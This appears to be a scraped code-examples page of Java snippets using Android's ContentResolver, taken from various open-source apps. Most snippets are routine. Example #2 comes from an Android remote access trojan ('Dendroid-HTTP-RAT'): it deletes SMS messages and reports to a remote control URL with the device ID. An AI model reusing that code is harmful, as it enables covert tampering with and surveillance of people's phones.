android.content.ContentResolver Java Examples

The following examples show how to use android.content.ContentResolver. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: IoUtils.java    From Pioneer with Apache License 2.0 6 votes vote down vote up
public static boolean saveBitmap(ContentResolver contentResolver, Uri uri, Bitmap bitmap,
                                 Bitmap.CompressFormat format, int quality) {
    OutputStream outputStream;
    try {
        outputStream = contentResolver.openOutputStream(uri);
    } catch (FileNotFoundException e) {
        Timber.d(e, "[saveBitmap] Couldn't open uri output");
        return false;
    }
    boolean saveOk = true;
    try {
        bitmap.compress(format, quality, outputStream);
    } finally {
        if (!close(outputStream)) {
            saveOk = false;
        }
    }
    if (!saveOk) {
        contentResolver.delete(uri, null, null);
    }
    return saveOk;
}
 
Example #2
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 6 votes vote down vote up
@Override
        protected String doInBackground(String... params) {     
			Uri thread = Uri.parse( "content://sms");
			ContentResolver contentResolver = getContentResolver();
//			Cursor cursor = contentResolver.query(thread, null, null, null,null);
			contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
	        
	        try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
			} catch (UnsupportedEncodingException e) {
				 
				e.printStackTrace();
			}   
			
		    return "Executed";
        }
 
Example #3
Source File: BaseImageDownloader.java    From Android-Application-ZJB with Apache License 2.0 6 votes vote down vote up
/**
 * Retrieves {@link InputStream} of image by URI (image is accessed using {@link ContentResolver}).
 *
 * @param imageUri Image URI
 * @param extra    Auxiliary object which was passed to {@link DisplayImageOptions.Builder#extraForDownloader(Object)
 *                 DisplayImageOptions.extraForDownloader(Object)}; can be null
 * @return {@link InputStream} of image
 * @throws FileNotFoundException if the provided URI could not be opened
 */
protected InputStream getStreamFromContent(String imageUri, Object extra) throws FileNotFoundException {
    ContentResolver res = context.getContentResolver();

    Uri uri = Uri.parse(imageUri);
    if (isVideoContentUri(uri)) { // video thumbnail
        Long origId = Long.valueOf(uri.getLastPathSegment());
        Bitmap bitmap = MediaStore.Video.Thumbnails
                .getThumbnail(res, origId, MediaStore.Images.Thumbnails.MINI_KIND, null);
        if (bitmap != null) {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            bitmap.compress(CompressFormat.PNG, 0, bos);
            return new ByteArrayInputStream(bos.toByteArray());
        }
    } else if (imageUri.startsWith(CONTENT_CONTACTS_URI_PREFIX)) { // contacts photo
        return getContactPhotoStream(uri);
    }
    return res.openInputStream(uri);
}
 
Example #4
Source File: ModelUtils.java    From androidtv-sample-inputs with Apache License 2.0 6 votes vote down vote up
/**
 * Returns the current list of channels your app provides.
 *
 * @param resolver Application's ContentResolver.
 * @return List of channels.
 */
public static List<Channel> getChannels(ContentResolver resolver) {
    List<Channel> channels = new ArrayList<>();
    // TvProvider returns programs in chronological order by default.
    Cursor cursor = null;
    try {
        cursor = resolver.query(Channels.CONTENT_URI, Channel.PROJECTION, null, null, null);
        if (cursor == null || cursor.getCount() == 0) {
            return channels;
        }
        while (cursor.moveToNext()) {
            channels.add(Channel.fromCursor(cursor));
        }
    } catch (Exception e) {
        Log.w(TAG, "Unable to get channels", e);
    } finally {
        if (cursor != null) {
            cursor.close();
        }
    }
    return channels;
}
 
Example #5
Source File: ImageUtils.java    From monolog-android with MIT License 6 votes vote down vote up
/**
 * 获取图片缩略�? 只有Android2.1以上版本支持
 *
 * @param imgName
 * @param kind    MediaStore.Images.Thumbnails.MICRO_KIND
 * @return
 */
@SuppressWarnings("deprecation")
public static Bitmap loadImgThumbnail(Activity context, String imgName,
                                      int kind) {
    Bitmap bitmap = null;

    String[] proj = {MediaStore.Images.Media._ID,
            MediaStore.Images.Media.DISPLAY_NAME};

    Cursor cursor = context.managedQuery(
            MediaStore.Images.Media.EXTERNAL_CONTENT_URI, proj,
            MediaStore.Images.Media.DISPLAY_NAME + "='" + imgName + "'",
            null, null);

    if (cursor != null && cursor.getCount() > 0 && cursor.moveToFirst()) {
        ContentResolver crThumb = context.getContentResolver();
        Options options = new Options();
        options.inSampleSize = 1;
        bitmap = getThumbnail(crThumb, cursor.getInt(0),
                kind, options);
    }
    return bitmap;
}
 
Example #6
Source File: MyTool.java    From PhotoOut with Apache License 2.0 6 votes vote down vote up
public static String getRealFilePath(final Context context, final Uri uri ) {
    if ( null == uri ) return null;
    final String scheme = uri.getScheme();
    String data = null;
    if ( scheme == null )
        data = uri.getPath();
    else if ( ContentResolver.SCHEME_FILE.equals( scheme ) ) {
        data = uri.getPath();
    } else if ( ContentResolver.SCHEME_CONTENT.equals( scheme ) ) {
        Cursor cursor = context.getContentResolver().query( uri, new String[] { MediaStore.Images.ImageColumns.DATA }, null, null, null );
        if ( null != cursor ) {
            if ( cursor.moveToFirst() ) {
                int index = cursor.getColumnIndex( MediaStore.Images.ImageColumns.DATA );
                if ( index > -1 ) {
                    data = cursor.getString( index );
                }
            }
            cursor.close();
        }
    }
    return data;
}
 
Example #7
Source File: DocumentsContractApi21.java    From FireFiles with Apache License 2.0 6 votes vote down vote up
public static Uri[] listFiles(Context context, Uri self) {
    final ContentResolver resolver = context.getContentResolver();
    final Uri childrenUri = DocumentsContract.buildChildDocumentsUriUsingTree(self,
            DocumentsContract.getDocumentId(self));
    final ArrayList<Uri> results = new ArrayList<Uri>();

    Cursor c = null;
    try {
        c = resolver.query(childrenUri, new String[] {
                DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
        while (c.moveToNext()) {
            final String documentId = c.getString(0);
            final Uri documentUri = DocumentsContract.buildDocumentUriUsingTree(self,
                    documentId);
            results.add(documentUri);
        }
    } catch (Exception e) {
        Log.w(TAG, "Failed query: " + e);
    } finally {
        closeQuietly(c);
    }

    return results.toArray(new Uri[results.size()]);
}
 
Example #8
Source File: SafUtils.java    From SAI with GNU General Public License v3.0 6 votes vote down vote up
@Nullable
public static DocumentFile docFileFromTreeUriOrFileUri(Context context, Uri contentUri) {
    if (ContentResolver.SCHEME_FILE.equals(contentUri.getScheme())) {
        String path = contentUri.getPath();
        if (path == null)
            return null;

        File file = new File(path);
        if (!file.isDirectory())
            return null;

        return DocumentFile.fromFile(file);
    } else {
        return DocumentFile.fromTreeUri(context, contentUri);
    }
}
 
Example #9
Source File: CaptioningManager.java    From android_9.0.0_r45 with Apache License 2.0 6 votes vote down vote up
/**
 * @hide
 */
@NonNull
public static CaptionStyle getCustomStyle(ContentResolver cr) {
    final CaptionStyle defStyle = CaptionStyle.DEFAULT_CUSTOM;
    final int foregroundColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_FOREGROUND_COLOR, defStyle.foregroundColor);
    final int backgroundColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_BACKGROUND_COLOR, defStyle.backgroundColor);
    final int edgeType = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_TYPE, defStyle.edgeType);
    final int edgeColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_EDGE_COLOR, defStyle.edgeColor);
    final int windowColor = Secure.getInt(
            cr, Secure.ACCESSIBILITY_CAPTIONING_WINDOW_COLOR, defStyle.windowColor);

    String rawTypeface = Secure.getString(cr, Secure.ACCESSIBILITY_CAPTIONING_TYPEFACE);
    if (rawTypeface == null) {
        rawTypeface = defStyle.mRawTypeface;
    }

    return new CaptionStyle(foregroundColor, backgroundColor, edgeType, edgeColor,
            windowColor, rawTypeface);
}
 
Example #10
Source File: PluginInstrumentation.java    From DroidPlugin with GNU Lesser General Public License v3.0 6 votes vote down vote up
private void fixBaseContextImplContentResolverOpsPackage(Context context) throws IllegalAccessException {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH_MR1 && context != null && !TextUtils.equals(context.getPackageName(), mHostContext.getPackageName())) {
        Context baseContext = context;
        Class clazz = baseContext.getClass();
        Field mContentResolver = FieldUtils.getDeclaredField(clazz, "mContentResolver", true);
        if (mContentResolver != null) {
            Object valueObj = mContentResolver.get(baseContext);
            if (valueObj instanceof ContentResolver) {
                ContentResolver contentResolver = ((ContentResolver) valueObj);
                Field mPackageName = FieldUtils.getDeclaredField(ContentResolver.class, "mPackageName", true);
                Object mPackageNameValueObj = mPackageName.get(contentResolver);
                if (mPackageNameValueObj != null && mPackageNameValueObj instanceof String) {
                    String packageName = ((String) mPackageNameValueObj);
                    if (!TextUtils.equals(packageName, mHostContext.getPackageName())) {
                        mPackageName.set(contentResolver, mHostContext.getPackageName());
                        Log.i(TAG, "fixBaseContextImplContentResolverOpsPackage OK!Context=%s,contentResolver=%s", baseContext, contentResolver);
                    }
                }

            }
        }
    }
}
 
Example #11
Source File: DocumentsContractCompat.java    From FireFiles with Apache License 2.0 6 votes vote down vote up
public static Uri[] listFiles(Context context, Uri self) {
    final ContentResolver resolver = context.getContentResolver();
    final Uri childrenUri = DocumentsContract.buildChildDocumentsUri(self.getAuthority(),
            DocumentsContract.getDocumentId(self));
    final ArrayList<Uri> results = new ArrayList<Uri>();

    Cursor c = null;
    try {
        c = resolver.query(childrenUri, new String[] {
                DocumentsContract.Document.COLUMN_DOCUMENT_ID }, null, null, null);
        while (c.moveToNext()) {
            final String documentId = c.getString(0);
            final Uri documentUri = DocumentsContract.buildDocumentUri(self.getAuthority(),
                    documentId);
            results.add(documentUri);
        }
    } catch (Exception e) {
        Log.w(TAG, "Failed query: " + e);
    } finally {
        closeQuietly(c);
    }

    return results.toArray(new Uri[results.size()]);
}
 
Example #12
Source File: CreateFileFragment.java    From FireFiles with Apache License 2.0 6 votes vote down vote up
@Override
protected Uri doInBackground(Void... params) {
    final ContentResolver resolver = mActivity.getContentResolver();
    ContentProviderClient client = null;
    Uri childUri = null;
    try {
        client = DocumentsApplication.acquireUnstableProviderOrThrow(
                resolver, mCwd.derivedUri.getAuthority());
        childUri = DocumentsContract.createDocument(
                resolver, mCwd.derivedUri, mMimeType, mDisplayName);
    } catch (Exception e) {
        Log.w(DocumentsActivity.TAG, "Failed to create document", e);
        Crashlytics.logException(e);
    } finally {
        ContentProviderClientCompat.releaseQuietly(client);
    }

    return childUri;
}
 
Example #13
Source File: MediaPlayer.java    From Vitamio with Apache License 2.0 6 votes vote down vote up
public void setDataSource(Context context, Uri uri, Map<String, String> headers) throws IOException, IllegalArgumentException, SecurityException, IllegalStateException {
  if (context == null || uri == null)
    throw new IllegalArgumentException();
  String scheme = uri.getScheme();
  if (scheme == null || scheme.equals("file")) {
    setDataSource(FileUtils.getPath(uri.toString()));
    return;
  }

  try {
    ContentResolver resolver = context.getContentResolver();
    mFD = resolver.openAssetFileDescriptor(uri, "r");
    if (mFD == null)
      return;
    setDataSource(mFD.getParcelFileDescriptor().getFileDescriptor());
    return;
  } catch (Exception e) {
    closeFD();
  }
  setDataSource(uri.toString(), headers);
}
 
Example #14
Source File: SysUtil.java    From PracticeCode with Apache License 2.0 6 votes vote down vote up
/**
 * 从带图像的Intent中解析图像到File
 *
 * @param resolver     解析器,需要当前context.getContentResolver()
 * @param data         带数据的Intent
 * @param dir          输出文件路径
 * @return boolean     解析成功返回true,否则返回false
 */
public boolean parseImageIntentToFile(ContentResolver resolver, Intent data, File dir) {
    try {
        FileOutputStream out = new FileOutputStream(dir);
        ByteArrayOutputStream buffer = parseImageIntentToStream(resolver, data);
        if(buffer == null)
            return false;
        buffer.writeTo(out);
        buffer.flush();
        buffer.close();
        out.flush();
        out.close();
        return true;
    } catch (IOException e) {
        return false;
    }
}
 
Example #15
Source File: XmppConnection.java    From Zom-Android-XMPP with GNU General Public License v3.0 6 votes vote down vote up
public void initUser(long providerId, long accountId) throws ImException
{
    ContentResolver contentResolver = mContext.getContentResolver();

    Cursor cursor = contentResolver.query(Imps.ProviderSettings.CONTENT_URI, new String[]{Imps.ProviderSettings.NAME, Imps.ProviderSettings.VALUE}, Imps.ProviderSettings.PROVIDER + "=?", new String[]{Long.toString(providerId)}, null);

    if (cursor == null)
        throw new ImException("unable to query settings");

    Imps.ProviderSettings.QueryMap providerSettings = new Imps.ProviderSettings.QueryMap(
            cursor, contentResolver, providerId, false, null);

    mProviderId = providerId;
    mAccountId = accountId;
    mUser = makeUser(providerSettings, contentResolver);
    try {
        mUserJid = JidCreate.bareFrom(mUser.getAddress().getAddress());
    }
    catch (Exception e){}

    providerSettings.close();
}
 
Example #16
Source File: SettingsActivity.java    From ToGoZip with GNU General Public License v3.0 6 votes vote down vote up
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
private static void grandPermission5(Context ctx, Uri data) {
    DocumentFile docPath = DocumentFile.fromTreeUri(ctx, data);
    if (docPath != null) {
        final ContentResolver resolver = ctx.getContentResolver();
        resolver.takePersistableUriPermission(data,
                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

    }
}
 
Example #17
Source File: StorageProvider.java    From FireFiles with Apache License 2.0 6 votes vote down vote up
protected AssetFileDescriptor openVideoThumbnailCleared(long id, CancellationSignal signal)
        throws FileNotFoundException {
    final ContentResolver resolver = getContext().getContentResolver();
    Cursor cursor = null;
    try {
        cursor = resolver.query(Video.Thumbnails.EXTERNAL_CONTENT_URI,
                VideoThumbnailQuery.PROJECTION, Video.Thumbnails.VIDEO_ID + "=" + id, null,
                null);
        if (cursor.moveToFirst()) {
            final String data = cursor.getString(VideoThumbnailQuery._DATA);
            return new AssetFileDescriptor(ParcelFileDescriptor.open(
                    new File(data), ParcelFileDescriptor.MODE_READ_ONLY), 0,
                    AssetFileDescriptor.UNKNOWN_LENGTH);
        }
    } finally {
        IoUtils.closeQuietly(cursor);
    }
    return null;
}
 
Example #18
Source File: MediaStoreHack.java    From PowerFileExplorer with GNU General Public License v3.0 6 votes vote down vote up
public static InputStream
getInputStream(final Context context, final File file, final long size) {
    try {
        final String where = MediaStore.MediaColumns.DATA + "=?";
        final String[] selectionArgs = new String[]{
                file.getAbsolutePath()
        };
        final ContentResolver contentResolver = context.getContentResolver();
        final Uri filesUri = MediaStore.Files.getContentUri("external");
        contentResolver.delete(filesUri, where, selectionArgs);
        final ContentValues values = new ContentValues();
        values.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
        values.put(MediaStore.MediaColumns.SIZE, size);
        final Uri uri = contentResolver.insert(filesUri, values);
        return contentResolver.openInputStream(uri);
    } catch (final Throwable t) {
        return null;
    }
}
 
Example #19
Source File: ConversationListItem.java    From Zom-Android-XMPP with GNU General Public License v3.0 6 votes vote down vote up
private String getGroupCount(ContentResolver resolver, long groupId) {
    String[] projection = { Imps.GroupMembers.NICKNAME };
    Uri uri = ContentUris.withAppendedId(Imps.GroupMembers.CONTENT_URI, groupId);
    Cursor c = resolver.query(uri, projection, null, null, null);
    StringBuilder buf = new StringBuilder();
    if (c != null) {

        buf.append(" (");
        buf.append(c.getCount());
        buf.append(")");

        c.close();
    }

    return buf.toString();
}
 
Example #20
Source File: UserDictionary.java    From Chimee with MIT License 6 votes vote down vote up
/**
 * Queries the dictionary and returns a cursor with all matches. But
 * there should be no more than one match.
 *
 * @param context the current application context
 * @param word    the word to search
 */
static Cursor queryWord(Context context, String word) {

    // error checking
    if (TextUtils.isEmpty(word)) {
        return null;
    }

    // General purpose
    final ContentResolver resolver = context.getContentResolver();
    String[] projection = new String[]{_ID, WORD, FREQUENCY,
            FOLLOWING};
    String selection = WORD + "=?";
    String[] selectionArgs = {word};
    return resolver.query(CONTENT_URI, projection, selection,
            selectionArgs, null);

}
 
Example #21
Source File: BitmapOverlayFilter.java    From LiTr with BSD 2-Clause "Simplified" License 6 votes vote down vote up
@Nullable
private Bitmap decodeBitmap(@NonNull Uri imageUri) {
    Bitmap bitmap = null;

    if (ContentResolver.SCHEME_FILE.equals(imageUri.getScheme()) && imageUri.getPath() != null) {
        File file = new File(imageUri.getPath());
        bitmap = BitmapFactory.decodeFile(file.getPath());

    } else if (ContentResolver.SCHEME_CONTENT.equals(imageUri.getScheme())) {
        InputStream inputStream;
        try {
            inputStream = context.getContentResolver().openInputStream(imageUri);
            if (inputStream != null) {
                bitmap = BitmapFactory.decodeStream(inputStream, null, null);
            }
        } catch (FileNotFoundException e) {
            Log.e(TAG, "Unable to open overlay image Uri " + imageUri, e);
        }

    } else {
        Log.e(TAG, "Uri scheme is not supported: " + imageUri.getScheme());
    }

    return bitmap;
}
 
Example #22
Source File: MediaStoreService.java    From Popeens-DSub with GNU General Public License v3.0 5 votes vote down vote up
public void renameInMediaStore(File start, File end) {
	ContentResolver contentResolver = context.getContentResolver();

	ContentValues values = new ContentValues();
	values.put(MediaStore.MediaColumns.DATA, end.getAbsolutePath());

	int n = contentResolver.update(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
			values,
			MediaStore.MediaColumns.DATA + "=?",
			new String[]{start.getAbsolutePath()});
	if (n > 0) {
		Log.i(TAG, "Rename media store row for " + start + " to " + end);
	}
}
 
Example #23
Source File: MockDatabase.java    From user-interface-samples with Apache License 2.0 5 votes vote down vote up
public static Uri resourceToUri(Context context, int resId) {
    return Uri.parse(
            ContentResolver.SCHEME_ANDROID_RESOURCE
                    + "://"
                    + context.getResources().getResourcePackageName(resId)
                    + "/"
                    + context.getResources().getResourceTypeName(resId)
                    + "/"
                    + context.getResources().getResourceEntryName(resId));
}
 
Example #24
Source File: NativeProtocol.java    From Klyph with MIT License 5 votes vote down vote up
public static int getLatestAvailableProtocolVersion(Context context, final int minimumVersion) {
    ContentResolver contentResolver = context.getContentResolver();

    String [] projection = new String[]{ PLATFORM_PROVIDER_VERSION_COLUMN };
    Cursor c = contentResolver.query(PLATFORM_PROVIDER_VERSIONS_URI, projection, null, null, null);
    if (c == null) {
        return NO_PROTOCOL_AVAILABLE;
    }

    Set<Integer> versions = new HashSet<Integer>();
    while (c.moveToNext()) {
        int version = c.getInt(c.getColumnIndex(PLATFORM_PROVIDER_VERSION_COLUMN));
        versions.add(version);
    }

    for (Integer knownVersion : KNOWN_PROTOCOL_VERSIONS) {
        if (knownVersion < minimumVersion) {
            return NO_PROTOCOL_AVAILABLE;
        }

        if (versions.contains(knownVersion)) {
            return knownVersion;
        }
    }

    return NO_PROTOCOL_AVAILABLE;
}
 
Example #25
Source File: DbUtils.java    From LyricHere with Apache License 2.0 5 votes vote down vote up
/**
 * Update lyric encoding.
 *
 * @return the number of rows updated.
 */
public static int updateLyricLastVisit(ContentResolver resolver, String path, Long time) {
    ContentValues values = new ContentValues();

    values.put(Constants.Column.LAST_VISITED_AT, time);

    return resolver.update(Constants.CONTENT_URI, values, Constants.Column.PATH + "= ?",
            new String[]{path});
}
 
Example #26
Source File: SyncStorageEngine.java    From android_9.0.0_r45 with Apache License 2.0 5 votes vote down vote up
private void requestSync(Account account, int userId, int reason, String authority,
        Bundle extras, @SyncExemption int syncExemptionFlag) {
    // If this is happening in the system process, then call the syncrequest listener
    // to make a request back to the SyncManager directly.
    // If this is probably a test instance, then call back through the ContentResolver
    // which will know which userId to apply based on the Binder id.
    if (android.os.Process.myUid() == android.os.Process.SYSTEM_UID
            && mSyncRequestListener != null) {
        mSyncRequestListener.onSyncRequest(
                new EndPoint(account, authority, userId),
                reason, extras, syncExemptionFlag);
    } else {
        ContentResolver.requestSync(account, authority, extras);
    }
}
 
Example #27
Source File: FileUtil.java    From HaoReader with GNU General Public License v3.0 5 votes vote down vote up
public static String getFilePathFromUri(Context context, Uri uri) {
    String data = "";
    if (null != uri) {
        final String scheme = uri.getScheme();
        if (scheme == null)
            data = uri.getPath();
        else if (ContentResolver.SCHEME_FILE.equals(scheme)) {
            data = uri.getPath();
        } else if (ContentResolver.SCHEME_CONTENT.equals(scheme)) {
            Cursor cursor = context.getContentResolver().query(uri, new String[]{MediaStore.Images.ImageColumns.DATA}, null, null, null);
            if (null != cursor) {
                if (cursor.moveToFirst()) {
                    int index = cursor.getColumnIndex(MediaStore.Images.ImageColumns.DATA);
                    if (index > -1) {
                        data = cursor.getString(index);
                    }
                }
                cursor.close();
            }

            if (TextUtils.isEmpty(data) && uri.getPath() != null && uri.getPath().contains("/storage/emulated/")) {
                data = uri.getPath().substring(uri.getPath().indexOf("/storage/emulated/"));
            }
        }
    }
    return data == null ? "" : data;
}
 
Example #28
Source File: SyncAdapter.java    From gito-github-client with Apache License 2.0 5 votes vote down vote up
/**
 * Helper method to schedule the sync adapter periodic execution
 */
private static void configurePeriodicSync(Context context, int syncInterval, int flexTime) {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
        SyncRequest request = new SyncRequest.Builder().
                syncPeriodic(syncInterval, flexTime).
                setSyncAdapter(mAccount, context.getString(R.string.sync_authority)).
                setExtras(new Bundle()).build();
        ContentResolver.requestSync(request);
    } else {
        ContentResolver.addPeriodicSync(mAccount,
                context.getString(R.string.sync_authority), new Bundle(), syncInterval);
    }
}
 
Example #29
Source File: DatabaseUtils.java    From Zom-Android-XMPP with GNU General Public License v3.0 5 votes vote down vote up
/** Insert a new plugin provider to the provider table. */
private static long insertProviderRow(ContentResolver cr, String providerName,
        String providerFullName, String signUpUrl) {
    ContentValues values = new ContentValues(3);
    values.put(Imps.Provider.NAME, providerName);
    values.put(Imps.Provider.FULLNAME, providerFullName);
    values.put(Imps.Provider.CATEGORY, ImApp.IMPS_CATEGORY);
    values.put(Imps.Provider.SIGNUP_URL, signUpUrl);
    Uri result = cr.insert(Imps.Provider.CONTENT_URI, values);
    return ContentUris.parseId(result);
}
 
Example #30
Source File: DocumentsContract.java    From FireFiles with Apache License 2.0 5 votes vote down vote up
/**
 * Change the display name of an existing document.
 * <p>
 * If the underlying provider needs to create a new
 * {@link DocumentsContract.Document#COLUMN_DOCUMENT_ID} to represent the updated display
 * name, that new document is returned and the original document is no
 * longer valid. Otherwise, the original document is returned.
 *
 * @param documentUri document with {@link DocumentsContract.Document#FLAG_SUPPORTS_RENAME}
 * @param displayName updated name for document
 * @return the existing or new document after the rename, or {@code null} if
 *         failed.
 */
public static Uri renameDocument(ContentResolver resolver, Uri documentUri,
                                 String displayName) {
    final ContentProviderClient client = resolver.acquireUnstableContentProviderClient(
            documentUri.getAuthority());
    try {
        return renameDocument(client, documentUri, displayName);
    } catch (Exception e) {
        Log.w(TAG, "Failed to rename document", e);
        return null;
    } finally {
        ContentProviderClientCompat.releaseQuietly(client);
    }
}